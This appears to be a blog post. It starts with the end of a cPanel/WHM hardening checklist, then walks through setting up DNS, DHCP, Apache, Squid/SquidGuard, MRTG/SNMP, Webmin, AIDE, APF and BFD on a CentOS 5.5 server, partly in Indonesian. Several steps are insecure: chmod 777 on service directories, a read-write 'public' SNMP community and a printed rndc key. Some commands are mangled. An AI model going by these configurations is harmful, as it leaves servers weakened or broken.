Maildir format adds extra security and speed to your mail system. Newer installs use maildir by default. If you’re running an older copy of cPanel, you’ll probably want to upgrade using /scripts/convert2maildir. Make sure to back up your current mail before converting to maildir, this can be done within /scripts/convert2maildir. If you see maildir is enabled when running /scripts/convert2maildir, you are already using maildir, and will not need to convert.

6. Lock down your system’s compilers


Most users do not require the use of C and C++ compilers. You can use the Compilers Tweak within Tweak Security in WebHost Manager to turn off use of the compilers for all unprivileged users, or to disable them for specific users only. Many pre-packaged exploits require working compilers. Disabling compilers will help protect against many exploits.

7. Turn off unused services and daemons


Any service or daemon that allows a connection to be established to your server is away for hackers to gain access. To reduce security risks, you should disable all services and daemons that are not being used.
For Daemons on Linux:
Check /etc/xinetd.conf for services you are not using. For example, cupsd (printing daemon) and nfs/statd (network file system daemons) are not used on many systems.
For Services:
Go to the Service Manager in the Service Configuration section of WHM and disable any services that you are not using.

8. Monitor your system


It is important to be up to date on what is going on with your system. Make sure that you know when accounts are being created, what software is being installed, when software needs updates, etc.
Check your system frequently to ensure it is functioning in the way you expect. Make sure to check things like:
netstat -anp : Look for programs attached to ports that you did not install / authorize
find / ( -perm -a+w ) ! -type l >> world_writable.txt : Look at world_writable.txt to see all world writable files and directories. This will reveal locations where an attacker can store files on your system. NOTE: Fixing permissions on some PHP/CGI scripts that are not properly coded will break them.
find / -nouser -o -nogroup >> no_owner.txt : Look at no_owner for all files that do not have a user or group associated with them. All files should be owned by a specific user or group to restrict access to them.
ls /var/log/: There are many different logs on your system which can be valuable resources. Check your system logs, apache logs, mail logs, and other logs frequently to make sure your system is functioning as expected.
There are many readily available utilities to monitor your system and to detect rootkits, backdoors, etc. Here are some commonly available utilities:

Tripwire – Monitors checksums of files and reports changes.
http://tripwire.com or http://sourceforge.net/projects/tripwire
Chrookit – Scans for common rootkits, backdoors, etc.
http://www.chkrootkit.org
Rkhunter – Scans for common rootkits, backdoors, etc.
http://www.rootkit.nl/projects/rootkit_hunter.html
Logwatch – Monitors and reports on daily system activity.
http://logwatch.org


9. Enable a Firewall


Installing a firewall to limit access to your server is useful. Removing all unused software on your system is more useful. Before you have the chance to remove all unused services and daemons, or the chance to figure out which services / daemons are unused, you can enable a firewall to prevent unwanted access.
The following will show the ports cPanel and WHM need open to function properly and what the port is used for:
http://faq.cpanel.net/show.cgi?qa=104689180407630
If you are using APF, see:
http://faq.cpanel.net/show.cgi?qa=108499296901804
Please note that these ports are for all services that can be used by cPanel and WHM, you may or may not be using all of these services or other services and should adjust your rules accordingly.
Remember to set a cron job to disable your firewall every 5 minutes when testing your rules, or you may be locked out of your server.

10. Stay up to date


It is important to make sure that you are running the latest stable versions of the software on your system to ensure that it has been patched of any security issues that past versions may be susceptible to. Make sure to keep on top of updates for:
Kernel
cPanel and WHM*
User Applications (bulletin boards, CMS, blog engines, etc)**
System Software*
*These can be set to automatically update in WebHost Manager under Update Config in the Server Configuration section.
**You can upgrade all cPAddon installations through Manage cPAddons in the cPanel section of WebHost Manager

Read more »

Installing DNS,DHCP,Webserver,Proxy,FTP,DDOS protection,IDS

Install DNS,DHCP,Webserver,Proxy,FTP,DDOS protection,IDS

[root@ns1 gtoms]# uname -a
Linux ns1.xyz.co.id 2.6.18-194.11.1.el5 #1 SMP Tue Aug 10 19:09:06 EDT 2010 i686 i686 i386 GNU/Linux

[root@ns1 gtoms]# cat /etc/redhat-release
CentOS release 5.5 (Final)

[root@ns1 gtoms]# /sbin/ifconfig
eth0 Link encap:Ethernet HWaddr 00:50:BA:C3:71:D2
inet addr:202.137.2x.2xx Bcast:202.137.20.223 Mask:255.255.255.240
inet6 addr: fe80::250:baff:fec3:71d2/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:1028 errors:0 dropped:0 overruns:0 frame:0
TX packets:757 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:93229 (91.0 KiB) TX bytes:143908 (140.5 KiB)
Interrupt:209 Base address:0×2000

eth1 Link encap:Ethernet HWaddr 00:13:D4:01:65:1F
inet addr:192.168.0.2 Bcast:192.168.0.255 Mask:255.255.255.0
UP BROADCAST MULTICAST MTU:1500 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:0 (0.0 b) TX bytes:0 (0.0 b)

lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:16436 Metric:1
RX packets:1124 errors:0 dropped:0 overruns:0 frame:0
TX packets:1124 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:1981916 (1.8 MiB) TX bytes:1981916 (1.8 MiB)

Instalasi Domain Name Server sebagai Primary Nameserver

[root@ns1 selinux]# yum install bind-chroot
Loaded plugins: fastestmirror
Loading mirror speeds from cached hostfile
addons: centos.idrepo.or.id
base: centos.idrepo.or.id
extras: centos.idrepo.or.id
updates: centos.idrepo.or.id
Setting up Install Process
Package 30:bind-chroot-9.3.6-4.P1.el5_4.2.i386 already installed and latest version
Nothing to do
[root@ns1 gtoms]#

[root@ns1 gtoms]# chmod 755 /var/named/
[root@ns1 gtoms]# chmod 775 /var/named/chroot/
[root@ns1 gtoms]# chmod 775 /var/named/chroot/var/
[root@ns1 gtoms]# chmod 775 /var/named/chroot/var/named/
[root@ns1 gtoms]# chmod 775 /var/named/chroot/var/run/
[root@ns1 gtoms]# chmod 777 /var/named/chroot/var/run/named/
[root@ns1 gtoms]# cd /var/named/chroot/var/named/
[root@ns1 named]# ln -s ../../ chroot
[root@ns1 named] cp /usr/share/doc/bind-9.3.6/sample/var/named/named.local /var/named/chroot/var/named/named.local
[root@ns1 named] cp /usr/share/doc/bind-9.3.6/sample/var/named/named.root /var/named/chroot/var/named/named.root
[root@ns1 named] touch /var/named/chroot/etc/named.conf.local

[root@ns1 named]# nano /var/named/chroot/etc/named.conf
key “rndckey” {
algorithm hmac-md5;
secret “PatIBVa6D1zrSKnEOBsO4siZyJO0cytbujld1boBT7W8RrVee5dsCkGSID79”;
};

options {
listen-on port 53 { 127.0.0.1; 192.168.0.2; 202.137.2x.2xx; };
listen-on-v6 port 53 { ::1; };
directory “/var/named/chroot/var/named”;
dump-file “/var/named/chroot/var/named/data/cache_dump.db”;
statistics-file “/var/named/chroot/var/named/data/named_stats.txt”;
memstatistics-file “/var/named/chroot/var/named/data/named_mem_stats.txt”;
allow-query { localhost; };
recursion yes;
};
logging {
channel default_debug {
file “data/named.run”;
severity dynamic;
};
};

zone “.” IN {
type hint;
file “named.root”;
};

zone “xyz.co.id” IN {
type om;
file “data/xyz.co.id.zone”;
allow-update { none; };
};

[root@ns1 named]# nano /var/named/chroot/var/named/data/xyz.co.id

$ORIGIN .
$TTL 86400 ; 1 day

xyz.co.id IN SOA ns1.xyz.co.id. admin.xyz.co.id. (
2010082100
7200
7200
1209600
86400 )
NS ns1.xyz.co.id.
NS ns2.xyz.co.id.
A 202.137.2x.2xx
MX 10 mail.xyz.co.id.

$ORIGIN xyz.co.id.

webmail A 202.137.2x.2zz
ns1 A 202.137.2x.2xx
ns2 A 202.137.2x.2yy
mail A 202.137.2x.2zz
www A 202.137.2x.2xx
mail2 A 202.137.2x.2yy
xyz.co.id. IN TXT “PT. xyz”
IP 202.137.2x.2zz dengan mail.xyz.co.id merupakan server mailserver menggunakan Zimbra 6.0.6 berada beda mesin dengan server ini.

[root@ns1 named]# /etc/init.d/named start
Starting named: [ OK ]

[root@ns1 etc]# tail -f /var/log/messages
Aug 21 11:31:35 ns1 named[3766]: starting BIND 9.3.6-P1-RedHat-9.3.6-4.P1.el5_4.2 -u named -t /var/named/chroot
Aug 21 11:31:35 ns1 named[3766]: adjusted limit on open files from 1024 to 1048576
Aug 21 11:31:35 ns1 named[3766]: found 2 CPUs, using 2 worker threads
Aug 21 11:31:35 ns1 named[3766]: using up to 4096 sockets
Aug 21 11:31:35 ns1 named[3766]: loading configuration from ‘/etc/named.conf’
Aug 21 11:31:35 ns1 named[3766]: using default UDP/IPv4 port range: [1024, 65535]
Aug 21 11:31:35 ns1 named[3766]: using default UDP/IPv6 port range: [1024, 65535]
Aug 21 11:31:35 ns1 named[3766]: listening on IPv6 interface lo, ::1#53
Aug 21 11:31:35 ns1 named[3766]: listening on IPv4 interface lo, 127.0.0.1#53
Aug 21 11:31:35 ns1 named[3766]: listening on IPv4 interface eth1, 192.168.0.2#53
Aug 21 11:31:35 ns1 named[3766]: listening on IPv4 interface eth0, 202.137.2x.2xx#53
Aug 21 11:31:35 ns1 named[3766]: command channel listening on 127.0.0.1#953
Aug 21 11:31:35 ns1 named[3766]: command channel listening on ::1#953
Aug 21 11:31:35 ns1 named[3766]: zone xyz.co.id/IN: loaded serial 2010082100
Aug 21 11:31:35 ns1 named[3766]: running
Aug 21 11:31:35 ns1 named[3766]: zone xyz.co.id/IN: sending notifies (serial 2010082100)

Instalasi DHCP Server

[root@ns1 data]# yum install dhcp
Loaded plugins: fastestmirror
Loading mirror speeds from cached hostfile
addons: centos.idrepo.or.id
base: centos.idrepo.or.id
extras: centos.idrepo.or.id
updates: centos.idrepo.or.id
Setting up Install Process
Resolving Dependencies—> Running transaction check—-> Package dhcp.i386 12:3.0.5-23.el5_5.1 set to be updated—> Finished Dependency Resolution
——————————————cut————————————————————-

Total download size: 867 k
Is this ok [y/N]: y
Downloading Packages:
dhcp-3.0.5-23.el5_5.1.i386.rpm | 867 kB 00:00
Running rpm_check_debug
Running Transaction Test
Finished Transaction Test
Transaction Test Succeeded
Running Transaction
Installing : dhcp 1/1

Installed:
dhcp.i386 12:3.0.5-23.el5_5.1

Complete!
[root@ns1 data]#

[root@ns1 data]# nano /etc/dhcpd.conf

authoritative;
ddns-update-style interim;
ignore client-updates;

subnet 192.168.0.0 netmask 255.255.255.0 {
option routers 192.168.0.2;
option subnet-mask 255.255.255.0;
option domain-name “xyz.co.id”;
option domain-name-servers 192.168.0.2,202.137.2x.2xx;
range dynamic-bootp 192.168.0.9 192.168.0.254;
default-lease-time 43200;
max-lease-time 604800;

}

Range IP untuk seluruh komputer karyawan 192.168.0.9 192.168.0.254

[root@ns1 data]# /etc/init.d/dhcpd start
Starting dhcpd: [ OK ]

[root@ns1 data]# tail -f /var/log/messages
Aug 21 11:44:36 ns1 dhcpd: Internet Systems Consortium DHCP Server V3.0.5-RedHat
Aug 21 11:44:36 ns1 dhcpd: Copyright 2004-2006 Internet Systems Consortium.
Aug 21 11:44:36 ns1 dhcpd: All rights reserved.
Aug 21 11:44:36 ns1 dhcpd: For info, please visit http://www.isc.org/sw/dhcp/
Aug 21 11:44:36 ns1 dhcpd: Wrote 0 leases to leases file.
Aug 21 11:44:36 ns1 dhcpd:
Aug 21 11:44:36 ns1 dhcpd: No subnet declaration for eth0 (202.137.2x.2xx).
Aug 21 11:44:36 ns1 dhcpd: ** Ignoring requests on eth0. If this is not what
Aug 21 11:44:36 ns1 dhcpd: you want, please write a subnet declaration
Aug 21 11:44:36 ns1 dhcpd: in your dhcpd.conf file for the network segment
Aug 21 11:44:36 ns1 dhcpd: to which interface eth0 is attached. **
Aug 21 11:44:36 ns1 dhcpd:
Aug 21 11:44:36 ns1 dhcpd: Listening on LPF/eth1/00:13:d4:01:65:1f/192.168.0/24
Aug 21 11:44:36 ns1 dhcpd: Sending on LPF/eth1/00:13:d4:01:65:1f/192.168.0/24
Aug 21 11:44:36 ns1 dhcpd: Sending on Socket/fallback/fallback-net

3766 ? Ssl 0:00 /usr/sbin/named -u named -t /var/named/chroot
3928 ? Ss 0:00 /usr/sbin/dhcpd
[root@ns1 gtoms]#

Instalasi Webserver menggunakan Apache

[root@ns1 gtoms]# yum install httpd httpd-devel mysql-server php php-mysql php-mbstring php-mcrypt

[root@ns1 gtoms]# nano /etc/httpd/conf/httpd.conf

Listen 202.137.2x.2xx:80

NameVirtualHost *:80


ServerAdmin webmaster@xyz.co.id
DocumentRoot /home/webxyz
ServerName xyz.co.id
ServerAlias http://www.xyz.co.id


ServerAdmin webmaster@xyz.co.id
DocumentRoot /var/www/html/stat
ServerName xyz.co.id/stat
ServerAlias http://www.xyz.co.id/stat


Options Indexes FollowSymLinks MultiViews
AllowOverride All
Order allow,deny
Allow from all

Instalasi SQUID sebagai cache proxy server

[root@ns1 gtoms]# yum install squid
[root@ns1 gtoms]# cd /etc/squid

[root@ns1 squid] nano squid.conf

[root@ns1 squid]# /usr/sbin/squid -z

Instalasi SQUIDGUARD sebagai content filtering.

[root@ns1 gtoms]# wget http://www.excaliburtech.net/wp-content/...2010-08-21 18:49:02—http://www.excaliburtech.net/wp-content/uploads/2009/02/squidguard-1.4-3.i386.rpm
Resolving http://www.excaliburtech.net… 72.66.114.15
Connecting to http://www.excaliburtech.net|72.66.114.15|:80… connected.
HTTP request sent, awaiting response… 200 OK
Length: 119416 (117K) [application/x-rpm]
Saving to: `squidguard-1.4-3.i386.rpm’
2010-08-21 18:49:05 (54.0 KB/s) – `squidguard-1.4-3.i386.rpm’ saved [119416/119416]

[root@ns1 gtoms]# rpm ivh squidguard1.4-3.i386.rpm
Preparing… ########################################### [100%]
1:squidguard ########################################### [100%]

[root@ns1 gtoms]# locate squidguard
/etc/logrotate.d/squidguard
/etc/squid/squidguard.conf
/home/gtoms/squidguard-1.4-3.i386.rpm
/usr/bin/squidguard
/usr/libexec/webmin/blue-theme/squidguard
/usr/libexec/webmin/blue-theme/squidguard/images
/usr/libexec/webmin/blue-theme/squidguard/images/icon.gif
/usr/share/doc/squidguard-1.4
/usr/share/doc/squidguard-1.4/LDAPFlow.txt
/usr/share/doc/squidguard-1.4/authentication.html
/usr/share/doc/squidguard-1.4/authentication.txt
/usr/share/doc/squidguard-1.4/configuration.html
/usr/share/doc/squidguard-1.4/configuration.txt
/usr/share/doc/squidguard-1.4/configure.html
/usr/share/doc/squidguard-1.4/configure.txt
/usr/share/doc/squidguard-1.4/expressionlist.html
/usr/share/doc/squidguard-1.4/expressionlist.txt
/usr/share/doc/squidguard-1.4/extended.html
/usr/share/doc/squidguard-1.4/extended.txt
/usr/share/doc/squidguard-1.4/faq.html
/usr/share/doc/squidguard-1.4/faq.txt
/usr/share/doc/squidguard-1.4/features.html
/usr/share/doc/squidguard-1.4/features.txt
/usr/share/doc/squidguard-1.4/index.html
/usr/share/doc/squidguard-1.4/install.html
/usr/share/doc/squidguard-1.4/install.txt
/usr/share/doc/squidguard-1.4/installation.html
/usr/share/doc/squidguard-1.4/installation.txt
/usr/share/doc/squidguard-1.4/ldap-ad-tips.html
/usr/share/doc/squidguard-1.4/ldap-ad-tips.txt
/usr/share/doc/squidguard-1.4/ldap.html
/usr/share/doc/squidguard-1.4/ldap.txt
/usr/share/doc/squidguard-1.4/runtimeops.html
/usr/share/doc/squidguard-1.4/runtimeops.txt
/usr/share/doc/squidguard-1.4/sample.conf
/usr/share/doc/squidguard-1.4/squidguard-simple.cgi
/usr/share/doc/squidguard-1.4/squidguard.cgi
/usr/share/doc/squidguard-1.4/squidguard.gif
/usr/share/doc/squidguard-1.4/troubleshoot.html
/usr/share/doc/squidguard-1.4/troubleshoot.txt

Sebelum mengkonfigurasi squidguard.conf install dahulu Shalla’s Blacklists

[root@ns1 gtoms]# wget http://www.shallalist.de/Downloads/shallalist.tar.gz%E2%80%942010-08-21 19:02:00—http://www.shallalist.de/Downloads/shallalist.tar.gz
Resolving http://www.shallalist.de… 78.47.242.85
Connecting to http://www.shallalist.de|78.47.242.85|:80… connected.
HTTP request sent, awaiting response… 200 OK
Length: 9670277 (9.2M) [application/x-tar]
Saving to: `shallalist.tar.gz’

11% [============> ] 1,126,182 119K/s eta 80s

[root@ns1 gtoms]# mkdir /var/lib/squidguard/db

[root@ns1 gtoms]# mv shallalist.tar.gz /var/lib/squidguard/db

[root@ns1 gtoms]# cd /var/lib/squidguard/db

[root@ns1 db]# gzip -d shallalist.tar.gz

[root@ns1 db]# tar xfv shallalist.tar
BL/
BL/porn/
BL/porn/domains
BL/porn/urls
BL/gamble/
BL/gamble/domains
BL/gamble/urls
BL/chat/
BL/chat/domains
BL/chat/urls
BL/automobile/
BL/automobile/cars/
BL/automobile/cars/domains
BL/automobile/cars/urls
BL/automobile/bikes/
BL/automobile/bikes/domains
BL/automobile/bikes/urls
BL/automobile/boats/
BL/automobile/boats/domains
BL/automobile/boats/urls
BL/automobile/planes/
BL/automobile/planes/urls
BL/automobile/planes/domains
BL/recreation/
BL/recreation/humor/
BL/recreation/humor/domains
BL/recreation/humor/urls
BL/recreation/martialarts/
BL/recreation/martialarts/urls
BL/recreation/martialarts/domains
BL/recreation/sports/
BL/recreation/sports/domains
BL/recreation/sports/urls
BL/recreation/travel/
BL/recreation/travel/urls
BL/recreation/travel/domains
BL/recreation/wellness/
BL/recreation/wellness/domains
BL/recreation/wellness/urls
BL/recreation/restaurants/
BL/recreation/restaurants/urls
BL/recreation/restaurants/domains
BL/webradio/
BL/webradio/domains
BL/webradio/urls
BL/webmail/
BL/webmail/domains
BL/webmail/urls
BL/warez/
BL/warez/urls
BL/warez/domains
BL/shopping/
BL/shopping/domains
BL/shopping/urls
BL/adv/
BL/adv/domains
BL/adv/urls
BL/movies/
BL/movies/urls
BL/movies/domains
BL/science/
BL/science/chemistry/
BL/science/chemistry/urls
BL/science/chemistry/domains
BL/science/astronomy/
BL/science/astronomy/domains
BL/science/astronomy/urls
BL/hobby/
BL/hobby/pets/
BL/hobby/pets/domains
BL/hobby/pets/urls
BL/hobby/cooking/
BL/hobby/cooking/domains
BL/hobby/cooking/urls
BL/hobby/gardening/
BL/hobby/gardening/urls
BL/hobby/gardening/domains
BL/hobby/games-online/
BL/hobby/games-online/domains
BL/hobby/games-online/urls
BL/hobby/games-misc/
BL/hobby/games-misc/domains
BL/hobby/games-misc/urls
BL/violence/
BL/violence/domains
BL/violence/urls
BL/music/
BL/music/domains
BL/music/urls
BL/hacking/
BL/hacking/domains
BL/hacking/urls
BL/isp/
BL/isp/urls
BL/isp/domains
BL/drugs/
BL/drugs/domains
BL/drugs/urls
BL/aggressive/
BL/aggressive/domains
BL/aggressive/urls
BL/news/
BL/news/urls
BL/news/domains
BL/redirector/
BL/redirector/urls
BL/redirector/domains
BL/spyware/
BL/spyware/domains
BL/spyware/urls
BL/dating/
BL/dating/urls
BL/dating/domains
BL/finance/
BL/finance/banking/
BL/finance/banking/urls
BL/finance/banking/domains
BL/finance/other/
BL/finance/other/domains
BL/finance/other/urls
BL/finance/moneylending/
BL/finance/moneylending/domains
BL/finance/moneylending/urls
BL/finance/insurance/
BL/finance/insurance/urls
BL/finance/insurance/domains
BL/finance/realestate/
BL/finance/realestate/domains
BL/finance/realestate/urls
BL/finance/trading/
BL/finance/trading/domains
BL/finance/trading/urls
BL/dynamic/
BL/dynamic/urls
BL/dynamic/domains
BL/COPYRIGHT
BL/jobsearch/
BL/jobsearch/urls
BL/jobsearch/domains
BL/tracker/
BL/tracker/domains
BL/tracker/urls
BL/models/
BL/models/domains
BL/models/urls
BL/forum/
BL/forum/domains
BL/forum/urls
BL/webtv/
BL/webtv/urls
BL/webtv/domains
BL/downloads/
BL/downloads/urls
BL/downloads/domains
BL/ringtones/
BL/ringtones/domains
BL/ringtones/urls
BL/searchengines/
BL/searchengines/domains
BL/searchengines/urls
BL/socialnet/
BL/socialnet/urls
BL/socialnet/domains
BL/updatesites/
BL/updatesites/domains
BL/updatesites/urls
BL/weapons/
BL/weapons/domains
BL/weapons/urls
BL/webphone/
BL/webphone/domains
BL/webphone/urls
BL/global_usage
BL/religion/
BL/religion/domains
BL/religion/urls
BL/sex/
BL/sex/lingerie/
BL/sex/lingerie/urls
BL/sex/lingerie/domains
BL/sex/education/
BL/sex/education/urls
BL/sex/education/domains
BL/imagehosting/
BL/imagehosting/domains
BL/imagehosting/urls
BL/podcasts/
BL/podcasts/domains
BL/podcasts/urls
BL/hospitals/
BL/hospitals/domains
BL/hospitals/urls
BL/military/
BL/military/urls
BL/military/domains
BL/politics/
BL/politics/domains
BL/politics/urls
BL/remotecontrol/
BL/remotecontrol/urls
BL/remotecontrol/domains
BL/fortunetelling/
BL/fortunetelling/domains
BL/fortunetelling/urls
BL/library/
BL/library/domains
BL/library/urls
BL/costtraps/
BL/costtraps/urls
BL/costtraps/domains
BL/homestyle/
BL/homestyle/domains
BL/homestyle/urls
BL/education/
BL/education/schools/
BL/education/schools/domains
BL/education/schools/urls
BL/government/
BL/government/domains
BL/government/urls
BL/alcohol/
BL/alcohol/domains
BL/alcohol/urls
BL/radiotv/
BL/radiotv/domains
BL/radiotv/urls
[root@ns1 db]#

[root@ns1 db]# cd BL

[root@ns1 BL] cp -R * /var/lib/squidguard/db

[root@ns1 BL]# nano /etc/squid/squidguard.conf

dbhome /var/lib/squidguard/db
logdir /var/log/squid


dest whitelist {
domainlist whitelist/domains
urllist whitelist/urls
}

dest adv {
domainlist adv/domains
urllist adv/urls
}

acl {
default {

pass whitelist !adv

redirect http://www.xyz.co.id/redirect.html
}

}


[root@ns1 BL]# /usr/bin/squidguard -C all

[root@ns1 db]# chmod -R 777 *

[root@ns1 db]# chown -R squid:squid /var/lib/squidguard/db/*

[root@ns1 squid]# nano /etc/squid/squid.conf

url_rewrite_program /usr/bin/squidguard -c /etc/squid/squidguard.conf
url_rewrite_children 8

[root@ns1 squid]# /usr/sbin/squid -k reconfigure

[root@ns1 db]# tail -f /var/log/squid/cache.log

2010/08/22 08:52:43| Reconfiguring Squid Cache (version 2.6.STABLE21)...
2010/08/22 08:52:43| FD 10 Closing HTTP connection
2010/08/22 08:52:43| FD 12 Closing ICP connection
2010/08/22 08:52:43| Initialising SSL.
2010/08/22 08:52:43| User-Agent logging is disabled.
2010/08/22 08:52:43| Referer logging is disabled.
2010/08/22 08:52:43| DNS Socket created at 0.0.0.0, port 52827, FD 9
2010/08/22 08:52:43| Adding nameserver 202.137.2x.2xx from squid.conf
2010/08/22 08:52:43| helperOpenServers: Starting 8 ‘squidguard’ processes
2010/08/22 08:52:43| Accepting transparently proxied HTTP connections at 0.0.0.0, port 3128, FD 19.
2010/08/22 08:52:43| Accepting ICP messages at 0.0.0.0, port 3130, FD 20.
2010/08/22 08:52:43| WCCP Disabled.
2010/08/22 08:52:43| Loaded Icons.
2010/08/22 08:52:43| Ready to serve requests.

Instalasi FTP Server menggunakan VSFTP

[root@ns1 gtoms]# yum install vsftpd

Disini tinggal mengkonfigurasi user untuk akses ke webserver.

Instalasi MRTG

[root@ns1 gtoms]# yum install mrtg net-snmp net-snmp-utils
Loaded plugins: fastestmirror
Loading mirror speeds from cached hostfile
addons: centos.idrepo.or.id
base: centos.idrepo.or.id
epel: bali.idrepo.or.id
extras: centos.idrepo.or.id
updates: centos.idrepo.or.id
addons | 951 B 00:00
base | 2.1 kB 00:00
epel | 3.4 kB 00:00
extras | 2.1 kB 00:00
updates | 1.9 kB 00:00
Setting up Install Process
Package 1:net-snmp-5.3.2.2-9.el5_5.1.i386 already installed and latest version————————cut—————————————-

Installed:
mrtg.i386 0:2.14.5-2 net-snmp-utils.i386 1:5.3.2.2-9.el5_5.1

Complete!
[root@ns1 gtoms]#

[root@ns1 gtoms]# nano /etc/snmp/snmpd.conf

com2sec local localhost public
com2sec mynetwork 192.168.0.0/24 public
group MyRWGroup v1 local
group MyRWGroup v2c local
group MyRWGroup usm local
group MyROGroup v1 mynetwork
group MyROGroup v2c mynetwork
group MyROGroup usm mynetwork
view all included .1 80
access MyROGroup “” any noauth exact all none none
access MyRWGroup “” any noauth exact all all none
syslocation PT. xyz, Jakarta
syscontact Root

[root@ns1 gtoms]# /etc/init.d/snmpd start
Starting snmpd: [ OK ]
[root@ns1 gtoms]#

[root@ns1 gtoms]# tail -f /var/log/messages
Aug 21 21:13:50 ns1 yum: Installed: 1:net-snmp-utils-5.3.2.2-9.el5_5.1.i386
Aug 21 21:13:53 ns1 yum: Installed: mrtg-2.14.5-2.i386
Aug 21 21:22:54 ns1 snmpd[7612]: Creating directory: /var/net-snmp
Aug 21 21:22:54 ns1 snmpd[7612]: NET-SNMP version 5.3.2.2

[root@ns1 gtoms]# /usr/bin/snmpwalk v 1 -c public localhost IPMIB::ipAdEntIfIndex
IP-MIB::ipAdEntIfIndex.127.0.0.1 = INTEGER: 1
IP-MIB::ipAdEntIfIndex.192.168.0.2 = INTEGER: 3
IP-MIB::ipAdEntIfIndex.202.137.2x.2xx = INTEGER: 2
[root@ns1 gtoms]#

[root@ns1 gtoms]# /usr/bin/cfgmaker—global ‘WorkDir: /var/www/mrtg’—output /etc/mrtg/mrtg.cfg public@localhost

[root@ns1 gtoms]# /usr/bin/indexmaker—output=/var/www/mrtg/index.html /etc/mrtg/mrtg.cfg

[root@ns1 mrtg]# nano /etc/cron.d/mrtg

*/5 * * * * root LANG=C LC_ALL=C /usr/bin/mrtg /etc/mrtg/mrtg.cfg—lock-file /var/lock/mrtg/mrtg_l—confcache-file /var/lib/mrtg/mrtg.ok

[root@ns1 mrtg]# nano /etc/httpd/conf.d/mrtg.conf
Alias /mrtg /var/www/mrtg


Order deny,allow
Deny from all
Allow from 127.0.0.1
Allow from ::1

[root@ns1 mrtg]# /etc/init.d/httpd restart
Stopping httpd: [ OK ]
Starting httpd: [ OK ]

Untuk mengkases melalui browser ke http://iphostname/mrtg/

Memonitor server/router lain kedalam MRTG

Jika menggunakan device router/modem tinggal mengaktifkan snmp, jika server lain linux ingin di monitor tinggal menginstall snmp, contoh disini pada server lain dengan IP 202.137.2x.2zz :

[root@mail gtoms]# yum install net-snmp net-snmp-utils
Setting up Install Process
Parsing package install arguments
Resolving Dependencies—> Running transaction check—-> Package net-snmp.i386 1:5.3.2.2-9.el5_5.1 set to be updated—> Processing Dependency: libsensors.so.3 for package: net-snmp—> Processing Dependency: net-snmp-libs = 1:5.3.2.2-9.el5_5.1 for package: net-snmp—-> Package net-snmp-utils.i386 1:5.3.2.2-9.el5_5.1 set to be updated—> Running transaction check—-> Package net-snmp-libs.i386 1:5.3.2.2-9.el5_5.1 set to be updated—-> Package lm_sensors.i386 0:2.10.7-9.el5 set to be updated—> Finished Dependency Resolution
———————-cutt————————————-

Installed: net-snmp-utils.i386 1:5.3.2.2-9.el5_5.1
Dependency Installed: lm_sensors.i386 0:2.10.7-9.el5 net-snmp.i386 1:5.3.2.2-9.el5_5.1
Updated: net-snmp-libs.i386 1:5.3.2.2-9.el5_5.1
Complete!
[root@mail gtoms]#

[root@mail gtoms]# nano /etc/snmp/snmpd.conf

com2sec local localhost public
com2sec mynetwork 192.168.0.0/24 public
group MyRWGroup v1 local
group MyRWGroup v2c local
group MyRWGroup usm local
group MyROGroup v1 mynetwork
group MyROGroup v2c mynetwork
group MyROGroup usm mynetwork
view all included .1 80
access MyROGroup “” any noauth exact all none none
access MyRWGroup “” any noauth exact all all none
syslocation Zimbra Mailserver XYZ, Jakarta
syscontact Root

[root@mail gtoms]# /etc/init.d/snmpd start
Starting snmpd: [ OK ]
[root@mail gtoms]#

Kembali ke server MRTG nya

[root@ns1 gtoms]# /usr/bin/cfgmaker—global ‘WorkDir: /var/www/mrtg’—output /etc/mrtg/mrtg.cfg public@202.137.2x.2zz

[root@ns1 mrtg]# /usr/bin/cfgmaker—global ‘WorkDir: /var/www/mrtg’—output /etc/mrtg/mrtg.cfg public@192.168.0.1

Instalasi Webmin

[root@ns1 gtoms]# rpm U webmin1.510-1.noarch.rpm
warning: webmin-1.510-1.noarch.rpm: Header V3 DSA signature: NOKEY, key ID 11f63c51
Operating system is CentOS Linux
Webmin install complete. You can now login to https://ns1.xyz.co.id:10000/
as root with your root password.
[root@ns1 gtoms]#

Instalasi IDS mengunakan The Advanced Intrusion Detection Environmen

Untuk mengkonfigurasi AIDE, SELINUX harus enabled.

[root@ns1 gtoms]# yum install aide

[root@ns1 gtoms]# /usr/sbin/aide—init

[root@ns1 gtoms]# cp /var/lib/aide/aide.db.new.gz /var/lib/aide/aide.db.gz
[root@ns1 gtoms]# /usr/sbin/aide—check

[root@ns1 gtoms]# aide—check
AIDE, version 0.13.1

### All files match AIDE database. Looks okay!

[root@ns1 gtoms]# vi /etc/cron.weekly/aide.cron

#!/bin/bash
/usr/sbin/aide—check | /bin/mail -s “Weekly Aide Data” IT@zyx.co.id

Instalasi DDOS protection
APF —Advanced Policy-based Firewall

[root@ns1 gtoms]# wget http://rfxnetworks.com/downloads/apf-current.tar.gz
[root@ns1 gtoms]# tar xfz apf-current.tar.gz
[root@ns1 apf-current]# cd apf-*
[root@ns1 apf-current]# ./install.sh

[root@ns1 apf-current]# vi /etc/apf/conf.apf
DEVEL_MODE=”0”
IG_TCP_CPORTS=”21,22,25,53,80,110,143,443,3306”
IG_UDP_CPORTS=”53,111”
USE_AD=”1”

[root@ns1 apf-current]# vi /etc/apf/ad/conf.antidos
sesuaikan sendiri ….

BFD —Brute Force Detection

[root@ns1 gtoms]# wget http://rfxnetworks.com/downloads/bfd-current.tar.gz
[root@ns1 gtoms]# tar xfz bfd-current.tar.gz
[root@ns1 bfd-current]# cd bfd-*
[root@ns1 bfd-current]# ./install.sh

[root@ns1 bfd-current]# vi /usr/local/bfd/conf.bfd

ALERT=”1”
EMAIL_USR=”IT@xyz.co.id”

[root@ns1 bfd-current]# vi /usr/local/bfd/ignore.hosts
sesuaikan sendiri ….

DDoS Deflate

[root@ns1 gtoms]# wget http://sourceforge.net/projects/rkhunter...z/download
[root@ns1 gtoms]# tar xfz rkhunter-1.3.6.tar.gz
[root@ns1 gtoms]# cd rkhunter-1.3.6
[root@ns1 rkhunter-1.3.6]# ./installer.sh
[root@ns1 rkhunter-1.3.6]# run rkhunter
